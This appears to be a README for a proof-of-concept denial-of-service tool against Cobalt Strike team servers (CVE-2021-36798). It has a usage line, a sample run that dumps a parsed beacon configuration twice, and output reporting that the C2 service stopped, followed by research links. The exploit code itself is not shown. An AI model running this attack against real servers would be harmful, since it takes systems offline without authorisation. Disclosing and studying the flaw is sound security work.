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A denial of service (DoS) vulnerability (CVE-2021-36798) was found in Cobalt Strike. The vulnerability was fixed in the scope of the 4.4 release. More information can be found here

Usage

python3 CobaltStrikeDos.py https://1.1.1.1<:443> <stager path>
$ python3 CobaltStrikeDos.py https://192.168.1.3:4431 jquery-2.1.1.min.js
[+] Try Get beacon configuration
BeaconType                       - HTTPS
Port                             - 4431
SleepTime                        - 60000
MaxGetSize                       - 1048576
Jitter                           - 0
MaxDNS                           - Not Found
PublicKey_MD5                    - 593aaee8f3b92c6c61cd742e71dcb108
C2Server                         - 192.168.1.3,/cx
UserAgent                        - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; yie9)
HttpPostUri                      - /submit.php
Malleable_C2_Instructions        - Empty
HttpGet_Metadata                 - Metadata
                                        base64
                                        header "Cookie"
HttpPost_Metadata                - ConstHeaders
                                        Content-Type: application/octet-stream
                                   SessionId
                                        parameter "id"
                                   Output
                                        print
PipeName                         - Not Found
DNS_Idle                         - Not Found
DNS_Sleep                        - Not Found
SSH_Host                         - Not Found
SSH_Port                         - Not Found
SSH_Username                     - Not Found
SSH_Password_Plaintext           - Not Found
SSH_Password_Pubkey              - Not Found
SSH_Banner                       - 
HttpGet_Verb                     - GET
HttpPost_Verb                    - POST
HttpPostChunk                    - 0
Spawnto_x86                      - %windir%\syswow64\rundll32.exe
Spawnto_x64                      - %windir%\sysnative\rundll32.exe
CryptoScheme                     - 0
Proxy_Config                     - Not Found
Proxy_User                       - Not Found
Proxy_Password                   - Not Found
Proxy_Behavior                   - Use IE settings
Watermark                        - 426352781
bStageCleanup                    - False
bCFGCaution                      - False
KillDate                         - 0
bProcInject_StartRWX             - True
bProcInject_UseRWX               - True
bProcInject_MinAllocSize         - 0
ProcInject_PrependAppend_x86     - Empty
ProcInject_PrependAppend_x64     - Empty
ProcInject_Execute               - CreateThread
                                   SetThreadContext
                                   CreateRemoteThread
                                   RtlCreateUserThread
ProcInject_AllocationMethod      - VirtualAllocEx
bUsesCookies                     - True
HostHeader                       - 
headersToRemove                  - Not Found
DNS_Beaconing                    - Not Found
DNS_get_TypeA                    - Not Found
DNS_get_TypeAAAA                 - Not Found
DNS_get_TypeTXT                  - Not Found
DNS_put_metadata                 - Not Found
DNS_put_output                   - Not Found
DNS_resolver                     - Not Found
DNS_strategy                     - round-robin
DNS_strategy_rotate_seconds      - -1
DNS_strategy_fail_x              - -1
DNS_strategy_fail_seconds        - -1
BeaconType                       - HTTPS
Port                             - 4431
SleepTime                        - 60000
MaxGetSize                       - 1048576
Jitter                           - 0
MaxDNS                           - Not Found
PublicKey_MD5                    - 593aaee8f3b92c6c61cd742e71dcb108
C2Server                         - 192.168.1.3,/ga.js
UserAgent                        - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
HttpPostUri                      - /submit.php
Malleable_C2_Instructions        - Empty
HttpGet_Metadata                 - Metadata
                                        base64
                                        header "Cookie"
HttpPost_Metadata                - ConstHeaders
                                        Content-Type: application/octet-stream
                                   SessionId
                                        parameter "id"
                                   Output
                                        print
PipeName                         - Not Found
DNS_Idle                         - Not Found
DNS_Sleep                        - Not Found
SSH_Host                         - Not Found
SSH_Port                         - Not Found
SSH_Username                     - Not Found
SSH_Password_Plaintext           - Not Found
SSH_Password_Pubkey              - Not Found
SSH_Banner                       - 
HttpGet_Verb                     - GET
HttpPost_Verb                    - POST
HttpPostChunk                    - 0
Spawnto_x86                      - %windir%\syswow64\rundll32.exe
Spawnto_x64                      - %windir%\sysnative\rundll32.exe
CryptoScheme                     - 0
Proxy_Config                     - Not Found
Proxy_User                       - Not Found
Proxy_Password                   - Not Found
Proxy_Behavior                   - Use IE settings
Watermark                        - 426352781
bStageCleanup                    - False
bCFGCaution                      - False
KillDate                         - 0
bProcInject_StartRWX             - True
bProcInject_UseRWX               - True
bProcInject_MinAllocSize         - 0
ProcInject_PrependAppend_x86     - Empty
ProcInject_PrependAppend_x64     - Empty
ProcInject_Execute               - CreateThread
                                   SetThreadContext
                                   CreateRemoteThread
                                   RtlCreateUserThread
ProcInject_AllocationMethod      - VirtualAllocEx
bUsesCookies                     - True
HostHeader                       - 
headersToRemove                  - Not Found
DNS_Beaconing                    - Not Found
DNS_get_TypeA                    - Not Found
DNS_get_TypeAAAA                 - Not Found
DNS_get_TypeTXT                  - Not Found
DNS_put_metadata                 - Not Found
DNS_put_output                   - Not Found
DNS_resolver                     - Not Found
DNS_strategy                     - round-robin
DNS_strategy_rotate_seconds      - -1
DNS_strategy_fail_x              - -1
DNS_strategy_fail_seconds        - -1

[+] Send Payload
[+] The C2 Service Has Stopped, Took 5.24 Seconds

https://blog.cobaltstrike.com/2021/08/04/cobalt-strike-dos-vulnerability-cve-2021-36798/

https://github.com/Sentinel-One/CobaltStrikeParser

https://www.sentinelone.com/labs/hotcobalt-new-cobalt-strike-dos-vulnerability-that-lets-you-halt-operations/